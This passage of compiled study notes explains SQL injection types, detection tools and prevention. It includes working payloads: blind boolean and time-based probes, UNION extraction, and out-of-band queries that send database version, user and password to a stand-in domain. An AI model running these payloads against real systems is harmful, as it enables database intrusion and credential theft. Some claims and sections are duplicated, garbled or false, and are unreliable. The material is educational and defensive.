QUERY GENERATED (TWO POSSIBLE OUTCOMES FOR THE INJECTED IF).

SELECT name, email FROM members WHERE id=1; IF SYSTEM_USER='sa' SELECT 1/0
ELSE SELECT 5

An attacker who sees a database error will be able to conclude the system administrator user
is running the database. Since the branch created by the ELSE instruction is not required, the
last part of the condition could be removed.

There are two types of Inferential SQLi— Boolean-based and Time based

A) Boolean based SQLi


Also known as content-based SQLi, as part of this attack, the attacker sends an SQL query
to the database, which the application interprets as a true or false result based upon the results
returned from the database.

Depending on the result, the HTTP response content may change. Even if no data is returned
from the database, a malicious attacker can still determine whether the payload used returned
true or false. As an attacker would have to enumerate the characters in a database, this is often
a slow attack (especially when dealing with large databases).

Take an example as:

https://example.thisisnewwebsite.com/items.php?id=2

The application's vulnerable data access layer can use this URL request to construct an SQL
query.

SELECT title, description, body FROM items WHERE ID = 2 and 1=2

As a result of SQL injection, an application that is vulnerable will not return anything, and the
attacker will then inject a query with a true condition (1=1). An attacker can infer that SQL
injection is working if the contents of the page differ from those that are returned during the
false condition. Once the attacker has verified he is all set, he will be able to use other SQL
Injection methods.

45
B) Time-based SQLi
An SQL query is successfully executed when the database is paused for a specified
amount of time and then returned.

The MySQL function SLEEP, for instance, can be used. Only MySQL 5 supports this
function.

/* Resulting query (with malicious SLEEP injected). */

SELECT * FROM table WHERE id=1-SLEEP(15)

Attackers may attempt SQL injection if they slow down the response by using these functions
in the query. A complex payload can be injected as a result.

/*Resulting query - Time-based attack to verify database version. */

SELECT * FROM card WHERE id=1-IF(MID(VERSION(),1,1) = '5', SLEEP(15), 0)

Similarly, WAIT FOR DELAY and WAIT FOR TIME in SQL Server can suspend and
resume query execution when system time equals the specified parameter, respectively.

3. Out-of-band SQL injection


It is not very common to perform out-of-band SQL injections because it depends on the
features of the web application’s database server to be enabled. If an attacker cannot launch
the attack and gather results over the same channel, the attack is called out-of-band SQL
injection.

In an out-of-band attack, the attacker manipulates the targeted application to send data to a
remote endpoint under his control rather than receiving a response from it.

If your server triggers DNS or HTTP requests, then you can perform an out-of-band SQL
injection.

MySQL out-of-band SQL injection example


It is possible for an attacker to exfiltrate data using the load_file function and then create
a request to a domain name containing the exfiltrated data if the MySQL database server is
started with an empty secure_file_priv global system variable, as is the case by default on
MySQL server 5.5.52 and below (as well as the MariaDB fork).

Consider the following SQL query that the attacker can execute on the target database:

46
SELECT load_file(CONCAT('\\\\',(SELECT+@@version),'.',(SELECT+user),'.',
(SELECT+password),'.',example.com\\test.txt'))

An attacker can intercept sensitive data (database version, user name, and password) by
sending a DNS request to the domain
database_version.database_user.database_password.example.com.

How to Detect SQL Injection Vulnerabilities?


Regular database audits are essential for determining whether your application has
been compromised. SQL injection can be detected by querying the database for common
HTML tags used by worms.

The IP addresses of malicious servers can also be identified by tags such as “iframe” or “http-
equiv=”refresh”. Check HTML pages created with dynamic content for hidden iframes or
unusual behavior to identify a compromise. It is, however, only possible to implement this
method once a compromised system has already been identified. In routine audits,
compromised systems are detected but cannot be fixed. An exploited application can alter data
so recovering it from this state can be difficult and expensive.

Best SQL Injection Tools for Detection

1. SQLMap

You can download SQLMap from GitHub, an automatic tool that takes over SQLi and
databases. The open-source penetration testing tool can detect and exploit SQLi flaws and
attacks that take over databases.

2. jSQL Injection

A Java-based tool, jSQL Injection, helps IT teams find SQL injection vulnerability from
distant servers. There are many ways to address SQLi, including free and open-source
software. Versions 11–17 of Java are supported, and it works with Linux, Windows, and Mac
operating systems.

3. Burp

A web vulnerability scanner developed by PortSwigger, which is part of Burp Suite, allows
users to automatically detect a wide range of vulnerabilities in web applications.

47
How to Avoid SQL Injection Attack?
With SQL injection parameterized queries, bound parameter types, and parameters in
stored procedures in the database, developers can avoid SQL injection attack and
vulnerabilities in web applications.

In addition, you can take further steps to avoid the SQL injection attack by following the
following rules:
1. Maintain the most current security software for all components of web applications,
including plug ins, database and web server software, frameworks, and libraries
2. Using the same database account for multiple applications or websites is not
recommended.
3. Ensure that all user input, including radio buttons and drop-down menus, is accurate.
4. Implement proper error reporting on the web server and in the code to prevent database
error messages from being sent to the client's web browser. Using technical details in
error messages, attackers can successfully exploit lengthy error messages.
5. If you are provisioning accounts to access the SQL database, follow the principle of least
privilege. If you plan to retrieve web content from a database only, do not grant INSERT,
UPDATE, or DELETE privileges to the web site's database connection credentials.

How to Prevent SQL Injection Attacks:


To prevent SQL injection attacks on websites and web applications, companies and
organizations should follow the following principles:
1. Parse the User Input: The first step toward SQL injection prevention is to parse the user
input. This means you should check the data the user submits to determine the
information type. This process is called “string splitting” and can be done on the front
end, back end, or both.
2. Use Strong Protocols: Strong protocols that are used to transmit data are less likely to be
vulnerable to an SQL Injection attack. Setting up HTTPS, for instance, will make it more
difficult for hackers to intercept and read the transmission.
3. Use a firewall: A firewall will help you to identify unwanted traffic, such as malicious
code, and prevent it from reaching your server. When paired with an IDS, the firewall can
also provide alerts when malicious traffic is detected.
4. Use an IDS: The IDS can detect abnormal behavior inside a server or network. This
includes traffic that is attempting to exploit vulnerabilities or malicious code. — Use a
Database Management System: A Database Management System that is designed to help
prevent SQL Injection attacks is a good option for protecting your database.
5. Set strong passwords: Most SQL injection attacks are made through a brute force attack.
A strong password will help protect your database from this attack.

48
6. Limit team member permissions: Limiting employee's permissions can help prevent
them from accessing and modifying data they shouldn’t have access to. This includes
data in your database.
7. Use robust protocols: Strong protocols that are used to transmit data are less likely to be
vulnerable to an SQL Injection attack. By setting up HTTPS, for instance, hackers will
have a harder time intercepting and reading your transmissions.
8. Use a Database Management System: A Database Management System that is
designed to help prevent SQL Injection attacks is a good option for protecting your
database.

SQL Injection Examples


Large websites, businesses, and social media platforms have been targeted by SQL
injection attacks over the past 20 years. Some of these attacks caused data breaches. Here are
a few examples:

The Rhode Island state government website was hacked in 2006 by hackers claiming to be
from Russia. They stole over 4,000 credit card numbers from the site.
 US authorities charged Albert Gonzalez and two co-conspirators with hacking 7-Eleven
and several other companies in 2009 using SQL injection commands to steal 130 million
credit card numbers.
 The hacker Team GhostShell published 36,000 personal records stolen from more than
53 universities in 2012, using SQLi to steal the data.
 An attack carried out by RedHack in 2013 erased the debts of people owed to
governmental agencies after the collective used SQLi to break into the Turkish
government website.
 It was discovered that security researchers stole user data from Tesla’s website in 2014
after compromised ita blind SQLi attack compromised it.
 An SQLi attack was used in 2015 to hack the crowdfunding website Patreon. The
attackers stole more than passwords and donation records — they also stole Patreon’s
source code.
 An SQLi vulnerability enabled a 10-year-old Finnish boy to delete comments on other
Instagram users’ accounts in 2016.
 An SQLi attack was used to gain access to user accounts via flaws found in the website
of the popular video game Fortnite in 2019.

49
What is SQL Injection (SQLi)?
SQL Injection (SQLi) is a type of injection attack that makes it possible to execute malicious
SQL statements. These statements control a database server behind a web application. Attackers
can use SQL Injection vulnerabilities to bypass application security mechanisms. They can go
around authentication and authorization of a web page or web application and retrieve the
content of the entire SQL database. They can also use SQL Injection to add, modify, and delete
records in the database. This leaves you and your clients really vulnerable in terms of privacy.

Types of SQL Injection (SQLi)


We will now look into the most common and uncommon types of SQL injection.

Error-based SQLi:
Error-based SQLi is an in-band SQL Injection technique that relies on error messages thrown by
the database server to obtain information about the structure of the database. In some cases,
error-based SQL injection alone is enough for an attacker to enumerate an entire database. While
errors are very useful during the development phase of a web application, they should be
disabled on a live website or logged to a file with restricted access instead.

50
Union-based SQLi:
Union-based SQLi is an in-band SQL injection technique that leverages the UNION SQL
operator to combine the results of two or more SELECT statements into a single result which is
then returned as part of the HTTP response.

51
Inferential SQLi (Blind SQLi):
Inferential SQL Injection, unlike in-band SQLi, may take longer for an attacker to exploit,
however, it is just as dangerous as any other form of SQL Injection. In an inferential SQLi
attack, no data is actually transferred via the web application and the attacker would not be able
to see the result of an attack in-band (which is why such attacks are commonly referred to as
“blind SQL Injection attacks”). Instead, an attacker is able to reconstruct the database structure
by sending payloads, observing the web application’s response and the resulting behavior of the
database server.
The two types of inferential SQL Injection are Blind-boolean-based SQLi and Blind-time-based
SQLi.

Boolean-based (content-based) Blind SQLi:


Boolean-based SQL Injection is an inferential SQL Injection technique that relies on sending an
SQL query to the database which forces the application to return a different result depending on
whether the query returns a TRUE or FALSE result.
Depending on the result, the content within the HTTP response will change, or remain the same.
This allows an attacker to infer if the payload used returned true or false, even though no data
from the database is returned. This attack is typically slow (especially on large databases) since
an attacker would need to enumerate a database, character by character.

52
Time-based Blind SQLi:
Time-based SQL Injection is an inferential SQL Injection technique that relies on sending an
SQL query to the database which forces the database to wait for a specified amount of time (in
seconds) before responding. The response time will indicate to the attacker whether the result of
the query is TRUE or FALSE.
Depending on the result, an HTTP response will be returned with a delay, or returned
immediately. This allows an attacker to infer if the payload used returned true or false, even
though no data from the database is returned. Moreover, this attack is typically slow (especially
on large databases) because the attacker must enumerate each character individually.

Out-of-band SQLi:
Out-of-band SQL Injection is not very common, mostly because it depends on features being
enabled on the database server being used by the web application. Out-of-band SQL Injection
occurs when an attacker is unable to use the same channel to launch the attack and gather results.
Out-of-band techniques offer an attacker an alternative to inferential time-based techniques,
especially if the server responses are not very stable (making an inferential time-based attack
unreliable).
Out-of-band SQLi techniques would rely on the database server’s ability to make DNS or HTTP
requests to deliver data to an attacker. Such is the case with Microsoft SQL Server’s xp_dirtree
command, which can be used to make DNS requests to a server an attacker controls; as well as
Oracle Database’s UTL_HTTP package, which can be used to send HTTP requests from SQL
and PL/SQL to a server an attacker controls.

Example of out-of-band SQL injection


If the MySQL database server is started with an empty secure_file_priv global system variable,
which is the case by default for MySQL server 5.5.52 and below (and in the MariaDB fork), an
attacker can exfiltrate data and then use the load_file function to create a request to a domain
name, putting the exfiltrated data in the request.Let’s say the attacker is able to execute the
following SQL query in the target database:
SELECT load_file(CONCAT('\\\\',(SELECT+@@version),'.',(SELECT+user),'.',
(SELECT+password),'.',example.com\\test.txt'))
This will cause the application to send a DNS request to the domain
database_version.database_user.database_password.example.com, exposing sensitive data
(database version, user name, and the user’s password) to the attacker.

Example of out-of-band SQL injection in PostgreSQL


The following SQL query achieves the same result as above if the application is using a
PostgreSQL database:

53
The culprit, in this case, is the COPY function in PostgreSQL, which is intended to move data
between a file and a table. Here, it allows the attacker to include a remote file as the copy source.

Example of out-of-band SQL injection in Oracle


The following SQL query achieves the same result as above if the application is using an Oracle
database:
SELECT DBMS_LDAP.INIT(
(SELECT version FROM v$instance)||'.'||
(SELECT user FROM dual)||'.'||
(SELECT name FROM V$database)||'.'||example.com' ,80) FROM dual;
In this case, OOB SQLi is possible thanks to the init() function from the DBMS_LDAP PL/SQL
package, which initializes a connection to an LDAP server.
However, this is not the only Oracle package that can be used for making a request to a remote
endpoint. You can also, for example, use the REQUEST function from the UTL_HTTP package.

Example of out-of-band SQL injection in MS SQL


The following SQL query achieves the same result as above (but without the password) if the
application is using an MS SQL database:
DECLARE @a varchar(1024);
DECLARE @b varchar(1024);
SELECT @a = (SELECT system_user);
SELECT @b = (SELECT DB_Name());

54
EXEC('master..xp_dirtree"\\'+@a+''+'.'+''+@b+'example.com\test$"');
This OOB SQLi is possible thanks to the xp_dirtree stored procedure. While originally intended
for listing a local directory tree, it can be tricked into causing a DNS lookup.

Example of boolean-based blind SQL injection


As an example, let’s assume that the following query is meant to display details of a product
from the database.
SELECT * FROM products WHERE id = product_id
At first, a malicious hacker uses the application in a legitimate way to discover at least one
existing product ID – in this example, it’s product 42. Then, they can provide the following two
values for product_id:
42 AND 1=1
42 AND 1=0
If this query is executed in the application using simple string concatenation, the query becomes
respectively:
SELECT * FROM products WHERE id = 42 and 1=1
SELECT * FROM products WHERE id = 42 and 1=0
If the application behaves differently in each case, it is susceptible to boolean-based blind SQL
injections.
If the database server is Microsoft SQL Server, the attacker can now supply the following value
for product_id:
42 AND (SELECT TOP 1 substring(name, 1, 1)
FROM sysobjects
WHERE id=(SELECT TOP 1 id
FROM (SELECT TOP 1 id
FROM sysobjects
ORDER BY id)
AS subq
ORDER BY id DESC)) = 'a'
As a result, the sub-query in parentheses after 42 AND checks whether the name of the first table
in the database starts with the letter a. If true, the application will behave the same as for the
payload 42 AND 1=1. If false, the application will behave the same as for the payload 42 AND
1=0.

The attacker can iterate through all letters and then go on to the second letter, third letter, etc. As
a result, the attacker can discover the full name of the first table in the database structure. They
can then try to get more data about the structure of this table and finally – extract data from the
table. While this example is specific to MS SQL, similar techniques exist for other database types.

55
Example of time-based blind SQL injection
Let’s say we have the same query as in the example above:
SELECT * FROM products WHERE id = product_id
A malicious hacker may provide the following product_id value:
42; WAITFOR DELAY '0:0:10'
As a result, the query becomes:
SELECT * FROM products WHERE id = 1; WAITFOR DELAY '0:0:10'
If the database server is Microsoft SQL Server and the application is susceptible to time-based
blind SQL injections, the attacker will see a 10-second delay in the application.
Now that the attacker knows that time-based blind SQL injections are possible, they can provide
the following product_id:
42; IF(EXISTS(SELECT TOP 1 *
FROM sysobjects
WHERE id=(SELECT TOP 1 id
FROM (SELECT TOP 1 id
FROM sysobjects
ORDER BY id)
AS subq
ORDER BY id DESC)
AND ascii(lower(substring(name, 1, 1))) = 'a'))
WAITFOR DELAY '0:0:10'

If the name of the first table in the database structure begins with the letter a, the second part of
this query will be true, and the application will react with a 10-second delay. Just like for
boolean-based blind SQL injections above, the attacker can use this method repeatedly to
discover the name of the first table in the database structure, then try to get more data about the
table structure of this table and finally extract data from the table.

Example of in-band SQL injection


The simplest type of in-band SQL injection is when the attacker is able to modify the original
query and receive the direct results of the modified query. As an example, let’s assume that the
following query is meant to return the personal data of the current user and display it on-screen.
SELECT * FROM users WHERE user_id LIKE 'current_user'
If this query is executed in the application using simple string concatenation, a malicious hacker
can provide the following current_user:
%'--
As a result, the query string sent to the database will become:
SELECT * FROM users WHERE user_id LIKE '%'--'
The single quote completes the SQL statement and the double dash (–) means that the rest of the
line is treated as a comment. Therefore, the application executes the following query:

56
SELECT * FROM users WHERE user_id LIKE '%'
The percent sign in SQL is a wildcard, so as a result of the attack, the application will display the
content of the entire users table (personal data), not just a single user record.

Example of error-based SQL injection


Let’s say we have the same query as in the example above:
SELECT * FROM users WHERE user_id = 'current_user'
A malicious hacker may provide the following current_user value:
1'
As a result, the query becomes:
SELECT * FROM users WHERE user_id = '1''
The doubled single quote at the end of the query causes the database to report an error. If the web
server is configured to display errors on screen, the attacker may see a message such as the
following:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL
server version for the right syntax to use near “‘ at line 1
Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in
/hj/var/www/query.php on line 37
As a result, the attacker immediately sees that the application is using a MySQL database and
can focus on MySQL-specific attacks.

Example of union-based SQL injection


Let’s say we have the same query as in the example above:
SELECT * FROM users WHERE user_id = 'current_user'
A malicious hacker may provide the following current_user:
-1' UNION SELECT version(),current_user()--'
As a result, the query becomes:
SELECT * FROM users WHERE user_id = '-1' UNION SELECT version(),current_user()--'
The version and current_user functions in MySQL return the database version and the name of
the current operating system user. As a result, the attacker receives the following information:
5.1.73-0ubuntu0.10.04.1
mysql@localhost
The attacker immediately sees that the application is using a MySQL 5.1.73 database on the
operating system Ubuntu 10.04.1 and that the database is accessed using the operating system
user account mysql.

How can SQL Injection impact your customers?


With no mitigating controls, SQL injection can leave the application at a high risk of the
compromise resulting in an impact on the confidentiality, and integrity of data as well as
authentication and authorization aspects of the application. An adversary can steal sensitive

57
information stored in databases used by vulnerable programs or applications such as user
credentials, trade secrets, or transaction records. SQL injection vulnerabilities should never be
left open; they must be fixed in all circumstances. If the authentication or authorization aspects
of an application are affected an attacker may be able login as any other user, such as an
administrator which elevates their privileges.

How to prevent SQL injection?


Most instances of SQL injection can be prevented by using parameterized queries (also known as
prepared statements) instead of string concatenation within the query.
The following code is vulnerable to SQL injection because the user input is concatenated directly
into the query:
String query = "SELECT * FROM products WHERE category = '"+ input + "'";
Statement statement = connection.createStatement();
ResultSet resultSet = statement.executeQuery(query);
This code can be easily rewritten in a way that prevents the user input from interfering with the
query structure:
PreparedStatement statement = connection.prepareStatement("SELECT * FROM products
WHERE category = ?");
statement.setString(1, input);
ResultSet resultSet = statement.executeQuery();

5 Key Methods to Prevent SQL Injection Attacks


For nearly 20 years, SQL injection vulnerabilities hovered near the top of the OWASP Top 10
Threat List, and SQL injection remains a dangerous and relevant threat. The good news is that
website owners can proactively mitigate the danger.

The five key methods to prevent SQL injection attacks include:

1. Filter database inputs: Detect and filter out malicious code from user inputs.
2. Restrict database code: Prevent unintended database queries and exploration by limiting
database procedures and code.
3. Restrict database access: Prevent unauthorized data access, exfiltration, or deletion
through access control restrictions.
4. Maintain applications and databases: Keep databases fully patched and updated.
Upgrade when possible.
5. Monitor application and database inputs and communications: Monitor
communication to detect and block malicious SQLi attempts.

58
Each method can be accomplished through various techniques that we explore in more detail
below.

1. Filter Database Inputs


Although input filtering alone cannot stop SQL injection attacks, filtering database input from
websites and applications provides fundamental security to eliminate SQL injection
vulnerabilities. Many attackers attempt to exploit extended URLs and special character handling
to explore databases and execute commands to gain unauthorized access or exfiltrate and delete
data.

Deny Extended URLs


Attackers seek to learn about databases as part of the SQLi exploitation process. One tactic uses
extended URLs to probe potential databases.

The International Journal of Research in Computer Applications and Robotics cites the example
of sending the following browser query to the web server at www.store.com:

http://www.store.com/Search.php?product="<SCRIPT>alert(‘Hi…’) </SCRIPT>"
For databases that do not parse user input to check for HTML and javascript tags, this extended
URL will reply to the attacker with:

Product “<SCRIPT>alert(„Hi…‟) </SCRIPT>” not found…


This clues in the attacker that the database can be further probed with scripts to explore the
structure and possibly even used in Cross-site Scripting (XSS) attacks. Parsing input or denying
extended URLs can eliminate this style of probing from attackers. However, keep in mind that
some use of extended URLs can be legitimate and may not be able to be banned outright in all
circumstances.

Sanitize Data and Limit Special Characters


Proper data sanitization and standardization provides a key component to safeguarding against
SQL injection vulnerabilities. SQLi attackers abuse special characters to use a web interface to
deliver SQL code to the database, so data must be sanitized to prevent concatenation or
recognizing user input as commands.

For example, consider a login attempt where an attacker attempts to login using the
password: password’ or 1=1

An unhardened SQL database would likely run a database query that verifies the password with
some of the code reading:

password = ‘<insert user input here>’


One the database processes the attacker’s string, the database will see the command:
59
password = ‘password’ or 1=1’
This maliciously introduces a ‘true’ statement (1=1) into the database query and the database
would interpret the command as: allow access if the password is correct or if 1 = 1. Thus access
will be granted even with invalid passwords.

Different programming languages will use different specific commands to filter the text, so
programmers need to check the latest options, but often built-in SQL Sanitization Libraries can
provide the best options for effective code.

To illustrate one possibility, in MySQL developers use mysqli_real_escape_string() to capture


the text input instead of passing the text form input directly to the database. PHP.net provides a
thorough example of how to implement escaping, but as an example in object-oriented style PHP:

$query = sprintf("SELECT CountryCode FROM City WHERE name='%s'",


$mysqli->real_escape_string($city));
$result = $mysqli->query($query);
Using this command ensures that even a command entered by an attacker would be converted to
a string of text, which can ensure that any dangerous characters such as a single quote ‘ are not
passed to a SQL query.

Another method to sanitize the data input involves typecasting. With typecasting the data input
will be restricted to the data format expected from the field. For example the following command
would restrict the ‘id’ variable to an integer:

$id = (int)$_POST[“id”]
While typecasting can be very useful, it is more limited in application and will not be as
commonly used.

2. Restrict Database Code


Input filtering is a good starting point, but attackers can find other ways to bypass inputs using
zero-day vulnerabilities, credentials compromise, and more. Organizations can restrict the code
available to a database to further control and limit the ability of attackers to exploit SQL
injection vulnerabilities.

Database managers should reduce functionality, use stored procedures, whitelist user inputs, and
enforce prepared statements and parameterization. These tactics limit the database strictly to the
capabilities needed for the task and prevent unexpected uses and exploits.

60
Reduce Available Functionality
In cybersecurity, an attack surface refers to the array of potential entry points for attackers. In the
context of SQLi attacks, reducing the attack surface requires the disabling of any unneeded
database functionalities.

One such example is the xp_cmdshell extended stored procedure in the Microsoft SQL Server.
This procedure can spawn a Windows command shell and pass a string for execution. Because
the Windows process generated by xp_cmdshell has the same security privileges as the SQL
Server service account, unrestricted availability of this procedure allows attackers to cause
severe damage.

Use Stored Procedures In the Database


Using stored procedures can isolate the database from the users and prevent some of the
exploitations. Instead of executing code directly on the database, the app will activate stored
procedures and return the results.

Using stored procedures also requires variable binding. Stored procedures reside in the database
and are called from the web application. Stored procedures are not immune to SQLi
vulnerabilities if dynamic SQL generation is used.

Whitelist User Inputs


Exploiting SQLi often requires the database to respond to abnormal processes and procedures as
the attacker explores the database. A common first step to preventing SQL injection attacks is
validating user inputs using whitelisting or allow lists.

A developer will identify the essential SQL statements and establish a whitelist for all valid SQL
statements, leaving unvalidated statements out of the query. This process is known as input
validation or query redesign.

Additionally, inputs should be configured for user data by context. For example, input fields for
email addresses can be filtered to allow only the characters in an email address, such as a
required “@” character. Similarly, phone numbers and social security numbers should only be
filtered to allow the specific number of digits for each.

While this action alone won’t stop SQLi attackers, it is an added barrier to a common fact-
finding tactic for SQL injection attacks.

Enforce Prepared Statements And Parameterization


Organizations should use prepared statements with parameterized queries, also known as
variable binding, for writing all database queries. By defining all SQL code involved with

61
queries, or parameterization, the database can easily distinguish between user input and code
without the SQLi risk.

Prepared statements provide a fundamental and critical defense against SQL injection
vulnerabilities. Where possible, developers should attempt to implement prepared statements so
that a database will treat malicious SQL statements as data and not as a potential command.

However, they may not be suitable for all needs, especially those that require dynamic SQL. In
these situations, SQLi vulnerabilities must be accepted as a possibility for code instructions and
other tactics (such as whitelisting, user input sanitization, etc.) must be used.

3. Restrict Database Access


At some point, a user’s credentials will become compromised or an unknown vulnerability in a
web application or database or server will be exploited by a skilled attacker. To minimize
potential damage from the subsequent SQLi attack:

 external access should be limited with firewalls


 user access should be limited to minimal error messages, database functions, and
database tables
 potential gains from a breach should be limited through encryption and minimal use of
shared accounts

Raise Virtual Or Physical Firewalls


A software or appliance-based web application firewall (WAF) helps filter out malicious data
and attacks. Modern firewalls, including NGFW and FWaaS offerings, deploy a comprehensive
set of default rules and the ease to change configurations as needed. If a patch or update has yet
to be released, WAFs can provide initial protection or mitigation against exposed vulnerabilities.

A popular example is the free, open-source module ModSecurity, available for Apache,
Microsoft IIS, and nginx web servers. ModSecurity provides a sophisticated and ever-evolving
set of rules to filter potentially dangerous web requests. Its SQL injection defenses can catch
most attempts to sneak SQL through web channels.

Don’t Divulge More Than Necessary In Error Messages


SQL injection attackers can learn a great deal about database architecture from error messages.
To block exploration of this type, ensure that error messages display minimal information.

Use the “RemoteOnly” customErrors mode (or equivalent) in a database to limit display of
verbose error messages to the local machine and only deliver “unhandled error” messages to
external users and potential attackers. This tactic adds additional safeguards to obscure the
organization’s internal database structure, table names, or account names.

62
Establish Appropriate Privileges And Strict Access
Given the power many SQL databases hold for an organization, it’s imperative to enforce least
privilege access policies with strict rules. If a website only requires the use of SELECT
statements for a database, there’s no reason it should have additional INSERT, UPDATE, or
DELETE privileges.

Further, a database should only be accessed with admin-level privileges when necessary. Using a
limited access account is far safer for general activity and ultimately limits an attacker’s access
in the event the less-privileged admin credential is compromised. PAM tools can even be used to
provide temporary admin credentials upon demand to further control admin privileges.

Limit Read-Access
The read-access configuration of the database implements a form of least-privilege to protect
against SQLi. A compromised credential or unknown SQLi vulnerability will have more limited
ability to extract information when the associated access is managed and limited to a subset of
database tables.

Encryption: Keep Your Secrets Secret


Encryption is almost universally employed as a data protection technique and for a good reason.
Without appropriate encryption and hashing policies, sensitive information could be in plain
sight for an intruder. While only a part of the security checklist, Microsoft notes encryption,
“transforms the problem of protecting data into a problem of protecting cryptographic keys.”

It’s best to assume internet-connected applications will become compromised at some point.
Therefore encryption should be applied to passwords, confidential data, and connection strings
so that any data extracted from a successful SQLi attack should also be encrypted and therefore
of less use to the attacker.

Limit or Eliminate Shared Databases Or User Accounts


Shared databases by multiple websites or applications can be a recipe for disaster. And the same
is true for user accounts that have access to multiple web applications. This shared access might
provide flexibility for the managing organization or administrator, but it also unnecessarily poses
a more significant security risk in the event of application or user credentials compromise.

Ideally, any linked servers, storage area networks (SANs), or cloud data buckets should have
minimal access to the target server and access is limited strictly to mission-critical data. All
linked assets should have distinct logins from any process on the target server.

63
4. Maintain Applications And Databases
Vulnerabilities in applications and databases that are exploitable using SQL injection are
regularly discovered and publicly identified. Organizations must stay current with vulnerability
news and vendor announcements to obtain and apply patches or updates as soon as practical.

For SQLi purposes, all components of a web application must be monitored and updated,
including database server software, frameworks, libraries, plug-ins, application programming
interfaces (APIs) and web server software. For organizations that struggle to consistently patch
and update programs, a patch management solution might be worth the investment to relieve
some of the burden from the IT and application development teams.

5. Monitor Application And Database Inputs And Communications


Organizations or third-party vendors should continually monitor all SQL statements of database-
connected applications. Monitoring should focus on documenting activity for database accounts,
prepared statements, and stored procedures.

Monitoring enables more effective identification of rogue SQL statements and vulnerabilities.
Once identified, admins can delete and disable unnecessary accounts, prepared statements, and
stored procedures.

Monitoring can be further enhanced through the utilization of machine learning and behavioral
analysis embedded in advanced Privileged Access Management (PAM) and Security Incident
and Event Management (SIEM) tools.

How to Know if a Website or App is Vulnerable to a SQL Injection Attack


Any website that interacts with an SQL database is potentially at risk for SQLi attacks. While
programmers and database administrators should always keep the five key methods to prevent
SQLi attacks in mind, developers can make mistakes and not every programming team can enact
best practices at all times.

To detect potential issues in existing applications and databases, security teams can deploy
automatic detection for SQL injection vulnerabilities, utilize detection tools, or engage specialist
vendors.

Testing For SQL Injection Vulnerabilities


There are several free or commercial penetration tools an organization can use to identify
potential SQL injection vulnerabilities.

Typically, these penetration testing tools start by probing a website to determine what type of
database is in use. With that knowledge, the program can build queries to examine the
characteristics of the database. With little SQL expertise required from the end-user, the

64
detection tool can potentially extract fields, tables, and sometimes even full data dumps from a
target.

Perhaps most importantly, many tools offer an error-fixing feature that can help remove some of
the vulnerabilities discovered. Many powerful SQL injection tools are available open-source,
therefore organizations must test applications before attackers use those tools to find and exploit
potential vulnerabilities.

Utilizing An SQLi Detection Tool


Several cybersecurity vendors and open source developers also offer specialized, automatic SQL
injection tools to identify potential vulnerabilities. For open-source detection
tools, SQLMap and jSQL continue to be two of the most popular, with others including:

 BBQSQL
 Blind-SQL-Bitshifting
 Blisqy
 Damn Small SQLi Scanner (DSSS)
 explo
 Leviathan
 NoSQLMap
 Tyrant-SQL
 Whitewidow

Note: The above given notes are just a sample. For more information, kindly refer more.

65

You might also like